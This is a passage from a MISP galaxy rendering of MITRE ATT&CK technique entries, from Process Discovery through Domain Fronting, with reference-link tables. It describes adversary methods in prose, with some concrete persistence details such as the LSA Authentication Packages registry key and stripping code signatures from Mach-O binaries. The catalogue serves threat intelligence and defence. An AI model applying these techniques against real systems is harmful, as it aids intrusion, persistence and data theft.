In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or `<code>Get-Process</code>` via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as `<code>CreateToolhelp32Snapshot</code>`. In Mac and Linux, this is accomplished with the `<code>ps</code>` command. Adversaries may also opt to enumerate processes via `/proc`. 
On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)

The tag is: `misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"`

**Table 5751. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1057">https://attack.mitre.org/techniques/T1057</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

### Stage Capabilities - T1608

Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)

Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

- Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)

- Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)

- Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)

- Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)

The tag is: `misp-galaxy:mitre-attack-pattern="Stage Capabilities - T1608"`
**Account Discovery - T1087**

Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.

For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.

The tag is: `misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"`

---

**Table 5753. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1087">https://attack.mitre.org/techniques/T1087</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1608">https://attack.mitre.org/techniques/T1608</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/">https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.digicert.com/kb/ssl-certificate-installation.htm">https://www.digicert.com/kb/ssl-certificate-installation.htm</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/">https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html">https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku">https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service">https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection">https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection</a></td>
</tr>
</tbody>
</table>
Valid Accounts - T1078

Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)

The tag is: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"

Table 5754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1078">https://attack.mitre.org/techniques/T1078</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-074a">https://www.cisa.gov/uscert/ncas/alerts/aa22-074a</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/">https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/</a></td>
</tr>
</tbody>
</table>

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

The tag is: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"

View relationships graph
Multilayer Encryption - T1079 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 5755. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1079">https://attack.mitre.org/techniques/T1079</a></td>
</tr>
<tr>
<td><a href="https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html">https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html</a></td>
</tr>
<tr>
<td><a href="https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf">https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf</a></td>
</tr>
</tbody>
</table>

**Account Manipulation - T1098**

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"

Table 5756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098">https://attack.mitre.org/techniques/T1098</a></td>
</tr>
<tr>
<td><a href="https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM">https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM</a></td>
</tr>
<tr>
<td><a href="https://github.com/gentilkiwi/mimikatz/issues/92">https://github.com/gentilkiwi/mimikatz/issues/92</a></td>
</tr>
</tbody>
</table>

**Modify Registry - T1112**

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in
persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.

The tag is: **misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"**

**Table 5757. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1112">https://attack.mitre.org/techniques/T1112</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull">https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/sysinternals/downloads/reghide">https://docs.microsoft.com/sysinternals/downloads/reghide</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657">https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353">https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353</a></td>
</tr>
</tbody>
</table>

**Authentication Package - T1131**

Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location `<code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa</code>` with the key value of `<code>"Authentication Packages"=<target binary></code>. The binary will then be executed by the
system when the authentication packages are loaded.

The tag is: `misp-galaxy:mitre-attack-pattern="Authentication Package - T1131"`

View relationships graph

Authentication Package - T1131 has relationships with:


**Table 5758. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html">http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1131">https://attack.mitre.org/techniques/T1131</a></td>
</tr>
</tbody>
</table>

**Screen Capture - T1113**

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `<code>CopyFromScreen</code>`, `<code>xwd</code>`, or `<code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"

**Table 5759. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1113">https://attack.mitre.org/techniques/T1113</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8">https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8</a></td>
</tr>
</tbody>
</table>

**Dynamic DNS - T1311**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/ matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/ versions/v7/techniques/T1311).

Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1311"`
Email Collection - T1114

Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.

The tag is: misp-galaxy:mitre-attack-pattern="Email Collection - T1114"

Input Prompt - T1411

The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information.

Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique's use.(Citation: Felt-PhishingOnMobileDevices)

Specific approaches to this technique include:

Impersonate the identity of a legitimate application

A malicious application could impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and get installed on the device. The malicious app could then prompt the user for sensitive information.(Citation: eset-finance)
Display a prompt on top of a running legitimate application

A malicious application could display a prompt on top of a running legitimate application to trick users into entering sensitive information into the malicious application rather than the legitimate application. Typically, the malicious application would need to know when the targeted application (and individual activity within the targeted application) is running in the foreground, so that the malicious application knows when to display its prompt. Android 5.0 and 5.1.1, respectively, increased the difficulty of determining the current foreground application through modifications to the `ActivityManager` API. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.

Approaches to display a prompt include:

- A malicious application could start a new activity on top of a running legitimate application. Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.

- A malicious application could create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions, and at least under certain conditions is automatically granted to applications installed from the Google Play Store. The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.

Fake device notifications

A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.

The tag is: `misp-galaxy:mitre-attack-pattern="Input Prompt - T1411"`

View relationships graph

Input Prompt - T1411 has relationships with:


Table 5762. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Input Prompt - T1141

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

The tag is: **misp-galaxy:mitre-attack-pattern="Input Prompt - T1141"**

View relationships graph

Input Prompt - T1141 has relationships with:

- revoked-by: **misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002"** with estimative-language:likelihood-probability="almost-certain"

Table 5763. Table References
Clipboard Data - T1115

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using `<code>clip.exe</code>` or `<code>Get-Clipboard</code>.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)

macOS and Linux also have commands, such as `<code>pbpaste</code>`, to grab clipboard contents.(Citation: Operating with EmPyre)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"*

Table 5764. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1115">https://attack.mitre.org/techniques/T1115</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems">https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip</a></td>
</tr>
<tr>
<td><a href="https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363">https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/en-us/library/ms649012">https://msdn.microsoft.com/en-us/library/ms649012</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa21-200b">https://www.cisa.gov/uscert/ncas/alerts/aa21-200b</a></td>
</tr>
</tbody>
</table>

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so
that the signature isn't checked at load time (Citation: Malware Persistence on OS X).

The tag is: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161"

View relationships graph

LC_LOAD_DYLIB Addition - T1161 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1546.006" with estimative-language:likelihood-probability="almost-certain"

Table 5765. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1161">https://attack.mitre.org/techniques/T1161</a></td>
</tr>
</tbody>
</table>

**Code Signing - T1116**

Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing - T1116"

View relationships graph

Code Signing - T1116 has relationships with:


Table 5766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.thesafemac.com/new-signed-malware-called-janicab/">http://www.thesafemac.com/new-signed-malware-called-janicab/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1116">https://attack.mitre.org/techniques/T1116</a></td>
</tr>
</tbody>
</table>
Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.

The tag is: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119"

Table 5767. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1119">https://attack.mitre.org/techniques/T1119</a></td>
</tr>
</tbody>
</table>

Template Injection - T1221

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives comprised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation:
Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)

Adversaries may also modify the `<code>*\template</code>` control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload. (Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)

The tag is: `misp-galaxy:mitre-attack-pattern="Template Injection - T1221"`

**Table 5768. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1221">https://attack.mitre.org/techniques/T1221</a></td>
</tr>
<tr>
<td><a href="https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/">https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/</a></td>
</tr>
<tr>
<td><a href="https://github.com/ryhanson/phishery">https://github.com/ryhanson/phishery</a></td>
</tr>
</tbody>
</table>

**Audio Capture - T1123**

An adversary can leverage a computer’s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
Data Encoding - T1132

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

Encrypted Channel - T1521

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

Video Capture - T1512

An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files.

Malware or scripts may interact with the device cameras through an available API provided by the
operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1513) due to use of the device's cameras for video recording rather than capturing the victim's screen.

In Android, an application must hold the `android.permission.CAMERA` permission to access the cameras. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user.

The tag is: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"

Table 5772. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1512">https://attack.mitre.org/techniques/T1512</a></td>
</tr>
</tbody>
</table>

### Video Capture - T1125

An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)

The tag is: `misp-galaxy:mitre-attack-pattern="Video Capture - T1125"

Table 5773. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1125">https://attack.mitre.org/techniques/T1125</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x25.html">https://objective-see.com/blog/blog_0x25.html</a></td>
</tr>
</tbody>
</table>

### Login Item - T1162

MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login
Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user’s <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code>SMLoginItemSetEnabled</code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).

The tag is: <code>misp-galaxy:mitre-attack-pattern="Login Item - T1162"</code>

### View relationships graph

Login Item - T1162 has relationships with:


### Table 5774. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1162">https://attack.mitre.org/techniques/T1162</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/564.html">https://capec.mitre.org/data/definitions/564.html</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html</a></td>
</tr>
</tbody>
</table>

### Domain Fronting - T1172

Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
The tag is: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172"

View relationships graph

Domain Fronting - T1172 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1090.004" with estimative-language:likelihood-probability="almost-certain"

Table 5775. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1172">https://attack.mitre.org/techniques/T1172</a></td>
</tr>
</tbody>
</table>

AppCert DLLs - T1182

